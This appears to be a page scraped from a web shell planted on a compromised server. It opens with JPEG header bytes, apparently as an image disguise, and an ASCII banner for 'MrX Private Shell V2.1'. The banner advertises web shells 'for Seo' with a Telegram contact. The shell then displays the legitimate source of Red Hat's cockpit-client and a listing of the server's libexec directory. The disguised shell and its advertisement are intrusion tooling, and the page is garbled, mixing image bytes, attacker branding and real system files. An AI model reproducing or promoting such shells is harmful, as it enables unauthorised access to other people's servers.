����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
#!/usr/bin/python3
# This file is part of Cockpit.
#
# Copyright (C) 2018-2021 Red Hat, Inc.
#
# Cockpit is free software; you can redistribute it and/or modify it
# under the terms of the GNU Lesser General Public License as published by
# the Free Software Foundation; either version 2.1 of the License, or
# (at your option) any later version.
#
# Cockpit is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public License
# along with Cockpit; If not, see <https://www.gnu.org/licenses/>.
import configparser
import ctypes
import logging
import os
import signal
import subprocess
import sys
import tempfile
import textwrap
import gi
gi.require_version("Gtk", "3.0")
from gi.repository import GLib, Gio, Gtk # noqa: I001, E402
try:
gi.require_version("WebKit2", "4.1")
from gi.repository import WebKit2
except (ValueError, ImportError):
gi.require_version("WebKit2", "4.0")
from gi.repository import WebKit2
try:
gi.require_version("Handy", "1")
from gi.repository import Handy
except (ValueError, ImportError):
Handy = None
libexecdir = os.path.realpath(__file__ + '/..')
sys_prctl = ctypes.CDLL(None).prctl
def prctl(*args):
if sys_prctl(*args) != 0:
raise Exception('prctl() failed')
def get_user_state_dir():
try:
# GLib ≥ 2.72
return GLib.get_user_state_dir()
except AttributeError:
try:
return os.environ["XDG_STATE_HOME"]
except KeyError:
return os.path.expanduser("~/.local/share")
SET_PDEATHSIG = 1
@Gtk.Template(filename=f'{libexecdir}/cockpit-client.ui')
class CockpitClientWindow(Gtk.ApplicationWindow):
__gtype_name__ = 'CockpitClientWindow'
webview = Gtk.Template.Child()
def __init__(self, app, uri):
super().__init__(application=app)
self.add_action_entries([
('reload', self.reload),
('reload-bypass-cache', self.reload_bypass_cache),
('go-back', self.go_back),
('go-forward', self.go_forward),
('zoom', self.zoom, 's'),
('open-inspector', self.open_inspector),
('run-js', self.run_js, 's', '""'),
])
self.lookup_action('run-js').set_enabled(app.enable_run_js)
self.webview.get_settings().set_enable_developer_extras(enabled=True)
self.webview.connect('decide-policy', self.decide_policy)
self.webview.load_uri(uri)
history = self.webview.get_back_forward_list()
history.connect('changed', self.history_changed)
self.history_changed()
if app.no_ui:
self.set_titlebar(None)
self.webview.bind_property('title', self, 'title')
def history_changed(self, *args):
self.lookup_action('go-back').set_enabled(self.webview.can_go_back())
self.lookup_action('go-forward').set_enabled(self.webview.can_go_forward())
def reload(self, *args):
self.webview.reload()
def reload_bypass_cache(self, *args):
self.webview.reload_bypass_cache()
def go_back(self, *args):
self.webview.go_back()
def go_forward(self, *args):
self.webview.go_forward()
def decide_policy(self, _view, decision, decision_type):
if decision_type == WebKit2.PolicyDecisionType.NEW_WINDOW_ACTION:
uri = decision.get_navigation_action().get_request().get_uri()
if uri.startswith('http://127'):
logging.error('warning: no support for pop-ups')
else:
# We can't get the timestamp from the request, so use Gdk.CURRENT_TIME (== 0)
Gtk.show_uri_on_window(self, uri, 0)
decision.ignore()
return True
return False
def zoom(self, _action, parameter, *_unused):
current = self.webview.get_zoom_level()
factors = {'in': current * 1.1, 'default': 1.0, 'out': current * 0.9}
self.webview.set_zoom_level(factors[parameter.get_string()])
def open_inspector(self, *_unused):
self.webview.get_inspector().show()
def run_js(self, action, parameter, *_unused):
"""Run given JavaScript code in the current page/context
The JS code has to return a scalar value immediately. To process asynchronous
actions, this function installs signal handlers to wait until the code calls
window.webkit.messageHandlers.result.postMessage("some string")
or a page load happens.
This is because a page load (as reaction to clicking a link or other action)
impredictably and immediately stops the current context and execution of the
given JS code, with no reliable way of returning a result value.
The postMessage() string is returned via the action state.
If a page load happens instead, the action state will be "page-load".
If the JS code throws an error, the action state gets set to the error message.
"""
def set_result(result):
action.set_state(GLib.Variant.new_string(result))
print(f"run-js async result: {result}")
self.webview.disconnect(on_load_handler)
uc_manager.disconnect(on_result_handler)
uc_manager.unregister_script_message_handler("result")
def run_js_ready(webview, result, _user_data):
try:
js_res = webview.run_javascript_finish(result).get_js_value()
print(f"run-js return value: {js_res.to_json(2)}")
except GLib.GError as e:
sys.stderr.write(f"run-js error: {e.message}\n")
set_result(str(e))
# zero the current state, to ensure that the result triggers an Actions.Changed signal
action.set_state(GLib.Variant.new_string(""))
uc_manager = self.webview.get_user_content_manager()
on_result_handler = uc_manager.connect(
"script-message-received::result",
lambda _mgr, result: set_result(result.get_js_value().to_string()))
uc_manager.register_script_message_handler("result")
# wait for loads to complete, to avoid races and ensure that it did not fail
on_load_handler = self.webview.connect(
"load-changed",
lambda webview, event: set_result("page-load") if event == WebKit2.LoadEvent.FINISHED else None)
self.webview.run_javascript(parameter.get_string(), None, run_js_ready, None)
class CockpitClient(Gtk.Application):
def __init__(self):
super().__init__(application_id='org.cockpit_project.CockpitClient')
self.add_main_option('no-ui', 0, GLib.OptionFlags.NONE, GLib.OptionArg.NONE,
'Show only a window with a webview')
self.add_main_option('external-ws', 0, GLib.OptionFlags.NONE, GLib.OptionArg.STRING,
'Connect to existing cockpit-ws on the given URL')
self.add_main_option('disable-uniqueness', 0, GLib.OptionFlags.NONE, GLib.OptionArg.NONE,
'Disable GApplication single-instance mode')
self.add_main_option('enable-run-js', 0, GLib.OptionFlags.HIDDEN, GLib.OptionArg.NONE,
'Enable run-js action for testing')
self.add_main_option('wildly-insecure', 0, GLib.OptionFlags.HIDDEN, GLib.OptionArg.NONE,
'***DANGEROUS*** Allow anyone to use your ssh credentials')
def do_startup(self):
Gtk.Application.do_startup(self)
if Handy and hasattr(Handy, 'StyleManager'):
Handy.StyleManager.get_default().set_color_scheme(Handy.ColorScheme.PREFER_LIGHT)
# .add_action_entries() binding is broken for GApplication
# https://gitlab.gnome.org/GNOME/pygobject/-/issues/426
Gio.ActionMap.add_action_entries(self, [
('new-window', self.new_window),
('quit', self.quit_action),
('open-path', self.open_path, 's'),
])
self.set_accels_for_action("app.new-window", ["<Ctrl>N"])
self.set_accels_for_action("win.reload", ["<Primary>r"])
self.set_accels_for_action("win.reload-bypass-cache", ["<Primary><Shift>r"])
self.set_accels_for_action("win.go-back", ["<Alt>Left"])
self.set_accels_for_action("win.go-forward", ["<Alt>Right"])
self.set_accels_for_action("win.zoom::in", ["<Primary>equal"])
self.set_accels_for_action("win.zoom::out", ["<Primary>minus"])
self.set_accels_for_action("win.zoom::default", ["<Primary>0"])
self.set_accels_for_action("win.open-inspector", ["<Primary><Shift>i", "F12"])
context = WebKit2.WebContext.get_default()
data_manager = context.get_website_data_manager()
data_manager.set_network_proxy_settings(WebKit2.NetworkProxyMode.NO_PROXY, None)
context.set_sandbox_enabled(enabled=True)
context.set_cache_model(WebKit2.CacheModel.DOCUMENT_VIEWER)
cookiesFile = os.path.join(get_user_state_dir(), "cockpit-client", "cookies.txt")
cookies = context.get_cookie_manager()
cookies.set_persistent_storage(cookiesFile, WebKit2.CookiePersistentStorage.TEXT)
self.uri = self.ws.start()
def new_window(self, *args):
self.activate()
def quit_action(self, *args):
self.quit()
def open_path(self, action, parameter, *args):
CockpitClientWindow(self, self.uri + parameter.get_string()).present()
def do_activate(self):
CockpitClientWindow(self, self.uri).present()
def do_shutdown(self):
self.ws.stop()
Gtk.Application.do_shutdown(self)
def do_handle_local_options(self, options):
self.no_ui = options.lookup_value('no-ui') is not None
if options.lookup_value('disable-uniqueness'):
self.set_flags(Gio.ApplicationFlags.NON_UNIQUE)
self.enable_run_js = bool(options.lookup_value('enable-run-js'))
if flatpak_id := os.getenv('FLATPAK_ID'):
self.set_application_id(flatpak_id)
if external_ws := options.lookup_value('external-ws'):
self.ws = ExternalCockpitWs(external_ws.get_string())
elif self.safely_sandboxed() or options.lookup_value('wildly-insecure'):
self.ws = InternalCockpitWs()
else:
logging.error('Unable to detect any sandboxing: refusing to spawn cockpit-ws')
return 1
return -1
def safely_sandboxed(self):
flatpak_info = configparser.ConfigParser()
if not flatpak_info.read('/.flatpak-info'):
return False
shared = flatpak_info.get('Context', 'Shared', fallback='').lower().split(';')
if 'network' in shared:
return False
return True
class ExternalCockpitWs:
def __init__(self, uri):
self.uri = uri
def start(self):
return self.uri
def stop(self):
pass
class InternalCockpitWs:
def start(self):
self.write_config()
host = '127.0.0.90'
port = '9090'
self.ws = subprocess.Popen([f'{libexecdir}/cockpit-ws', f'--address={host}', f'--port={port}'],
preexec_fn=self.preexec_fn, pass_fds=[3])
return f'http://{host}:{port}/'
def preexec_fn(self):
os.environ['XDG_CONFIG_DIRS'] = self.config_dir.name
prctl(SET_PDEATHSIG, signal.SIGKILL)
def stop(self):
self.ws.kill()
self.config_dir.cleanup()
def write_config(self):
self.config_dir = tempfile.TemporaryDirectory(prefix='cockpit-client-', suffix='-etc')
os.mkdir(f'{self.config_dir.name}/cockpit')
with open(f'{self.config_dir.name}/cockpit/cockpit.conf', 'x') as cockpit_conf:
# avoid putting strings here that ought to be translated
config = """
# dynamically generated by cockpit-client
[WebService]
X-For-CockpitClient = true
LoginTo = true
[Ssh-Login]
Command = /usr/bin/env python3 -m cockpit.beiboot
"""
cockpit_conf.write(textwrap.dedent(config))
if __name__ == "__main__":
app = CockpitClient()
app.run(sys.argv)
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| awk | Folder | 0755 |
|
|
| bluetooth | Folder | 0755 |
|
|
| cloud-init | Folder | 0755 |
|
|
| coreutils | Folder | 0755 |
|
|
| cpanel-pdns | Folder | 0755 |
|
|
| dovecot | Folder | 0755 |
|
|
| dpkg | Folder | 0755 |
|
|
| gawk | Folder | 0755 |
|
|
| gcc | Folder | 0755 |
|
|
| geoclue-2.0 | Folder | 0755 |
|
|
| getconf | Folder | 0755 |
|
|
| git-core | Folder | 0755 |
|
|
| grub2 | Folder | 0755 |
|
|
| grubby | Folder | 0755 |
|
|
| gstreamer-1.0 | Folder | 0755 |
|
|
| hostname | Folder | 0755 |
|
|
| imunify-notifier | Folder | 0755 |
|
|
| initscripts | Folder | 0755 |
|
|
| installkernel | Folder | 0755 |
|
|
| iptables | Folder | 0755 |
|
|
| irqbalance | Folder | 0755 |
|
|
| linux-boot-probes | Folder | 0755 |
|
|
| lsm.d | Folder | 0755 |
|
|
| man-db | Folder | 0755 |
|
|
| microcode_ctl | Folder | 0755 |
|
|
| nfs-utils | Folder | 0755 |
|
|
| openldap | Folder | 0755 |
|
|
| openssh | Folder | 0755 |
|
|
| os-prober | Folder | 0755 |
|
|
| os-probes | Folder | 0755 |
|
|
| p11-kit | Folder | 0755 |
|
|
| psacct | Folder | 0755 |
|
|
| rsyslog | Folder | 0755 |
|
|
| selinux | Folder | 0755 |
|
|
| smartmontools | Folder | 0755 |
|
|
| sssd | Folder | 0755 |
|
|
| sudo | Folder | 0755 |
|
|
| totem-pl-parser | Folder | 0755 |
|
|
| tracker3 | Folder | 0755 |
|
|
| tuned | Folder | 0755 |
|
|
| utempter | Folder | 0755 |
|
|
| arptables-helper | File | 1.27 KB | 0755 |
|
| arptables-nft-helper | File | 1.27 KB | 0755 |
|
| at-spi-bus-launcher | File | 32.12 KB | 0755 |
|
| at-spi2-registryd | File | 81.38 KB | 0755 |
|
| cockpit-askpass | File | 239 B | 0755 |
|
| cockpit-certificate-ensure | File | 23.28 KB | 0755 |
|
| cockpit-certificate-helper | File | 5.72 KB | 0755 |
|
| cockpit-client | File | 12.17 KB | 0755 |
|
| cockpit-client.ui | File | 4.13 KB | 0644 |
|
| cockpit-desktop | File | 5.12 KB | 0755 |
|
| cockpit-session | File | 59.69 KB | 0755 |
|
| cockpit-tls | File | 47.76 KB | 0755 |
|
| cockpit-ws | File | 255.73 KB | 0755 |
|
| cockpit-wsinstance-factory | File | 15.2 KB | 0755 |
|
| dconf-service | File | 77.01 KB | 0755 |
|
| dirmngr_ldap | File | 40.03 KB | 0755 |
|
| dnf-utils | File | 3.6 KB | 0755 |
|
| exim.daemon | File | 761 B | 0755 |
|
| fips-setup-helper | File | 333 B | 0755 |
|
| flatpak-oci-authenticator | File | 1.19 MB | 0755 |
|
| flatpak-portal | File | 1.3 MB | 0755 |
|
| flatpak-session-helper | File | 171.27 KB | 0755 |
|
| flatpak-system-helper | File | 1.22 MB | 0755 |
|
| flatpak-validate-icon | File | 15.45 KB | 0755 |
|
| fprintd | File | 133.97 KB | 0755 |
|
| generate-rndc-key.sh | File | 681 B | 0755 |
|
| geoclue | File | 240.77 KB | 0755 |
|
| glib-pacrunner | File | 24 KB | 0755 |
|
| gpg-check-pattern | File | 59.91 KB | 0755 |
|
| gpg-pair-tool | File | 64.48 KB | 0755 |
|
| gpg-preset-passphrase | File | 35.74 KB | 0755 |
|
| gpg-protect-tool | File | 84.68 KB | 0755 |
|
| gpg-wks-client | File | 50 B | 0755 |
|
| grepconf.sh | File | 257 B | 0755 |
|
| import-state | File | 1.04 KB | 0755 |
|
| imunify-message-gateway | File | 5.93 MB | 0755 |
|
| keyboxd | File | 158.24 KB | 0755 |
|
| loadmodules | File | 237 B | 0755 |
|
| low-memory-monitor | File | 28.33 KB | 0755 |
|
| lvresize_fs_helper | File | 9.57 KB | 0755 |
|
| mlocate-run-updatedb | File | 142 B | 0750 |
|
| nfsrahead | File | 27.3 KB | 0755 |
|
| nm-daemon-helper | File | 15.3 KB | 0755 |
|
| nm-dhcp-helper | File | 19.23 KB | 0755 |
|
| nm-dispatcher | File | 76.6 KB | 0755 |
|
| nm-initrd-generator | File | 771.93 KB | 0755 |
|
| nm-priv-helper | File | 39.91 KB | 0755 |
|
| packagekit-direct | File | 148.66 KB | 0755 |
|
| packagekitd | File | 338.76 KB | 0755 |
|
| pk-offline-update | File | 31.54 KB | 0755 |
|
| platform-python | File | 15.09 KB | 0755 |
|
| platform-python3.9 | File | 15.09 KB | 0755 |
|
| realmd | File | 289.33 KB | 0755 |
|
| report-command-error | File | 8.06 MB | 0755 |
|
| revokefs-fuse | File | 32.26 KB | 0755 |
|
| rtkit-daemon | File | 68.02 KB | 0755 |
|
| run-with-intensity | File | 6.1 MB | 0755 |
|
| scdaemon | File | 427.34 KB | 0755 |
|
| tracker-extract-3 | File | 133.17 KB | 0755 |
|
| tracker-miner-fs-3 | File | 149.47 KB | 0755 |
|
| tracker-miner-fs-control-3 | File | 72.16 KB | 0755 |
|
| tracker-writeback-3 | File | 43.71 KB | 0755 |
|
| tracker-xdg-portal-3 | File | 39.69 KB | 0755 |
|
| upowerd | File | 240.27 KB | 0755 |
|
| vi | File | 1.38 MB | 0755 |
|
| virt-what-cpuid-helper | File | 15.11 KB | 0755 |
|
| xdg-desktop-portal | File | 725.42 KB | 0755 |
|
| xdg-desktop-portal-gtk | File | 333.3 KB | 0755 |
|
| xdg-document-portal | File | 202.93 KB | 0755 |
|
| xdg-permission-store | File | 84.7 KB | 0755 |
|